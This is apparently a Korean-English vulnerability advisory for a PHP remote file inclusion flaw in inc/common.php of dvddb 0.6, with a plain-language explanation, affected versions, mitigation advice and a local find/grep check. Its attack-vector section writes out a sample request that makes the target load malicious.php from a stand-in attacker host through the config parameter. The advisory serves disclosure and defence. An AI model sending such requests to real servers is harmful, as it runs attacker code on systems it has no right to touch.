🇰🇷 한글 설명
GlobalMegaCorp dvddb 0.6의 inc/common.php에 존재하는 PHP 원격 파일 포함(RFI) 취약점입니다. config 매개변수를 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
dvddb 프로그램의 설정 부분에서 인터넷의 임의 파일을 불러올 수 있어, 해커가 악의적인 코드를 실행할 수 있습니다. 직접 서버에 접근하지 않아도 웹 요청만으로 공격이 가능합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in inc/common.php in GlobalMegaCorp dvddb 0.6 allows remote attackers to execute arbitrary PHP code via a URL in the config parameter.
📍 영향받는 시스템
GlobalMegaCorp dvddb 0.6 이하
⚔️ 공격 벡터
http://target/dvddb/?config=http://attacker.com/malicious.php 형식의 URL을 통한 원격 파일 포함 공격
🛡️ 대응 방법
dvddb를 최신 버전으로 업그레이드하거나, config 매개변수 입력값 검증 및 원격 파일 포함 기능 비활성화
🔧 검증 코드
결과로 파일이 나타나면 취약한 dvddb 설치가 존재하는 것이며, 빈 결과는 해당 버전이 설치되지 않았거나 패치되었음을 의미합니다.
find / -name 'common.php' -path '*/dvddb/*' 2>/dev/null | xargs grep -l 'config.*include\|require' 2>/dev/null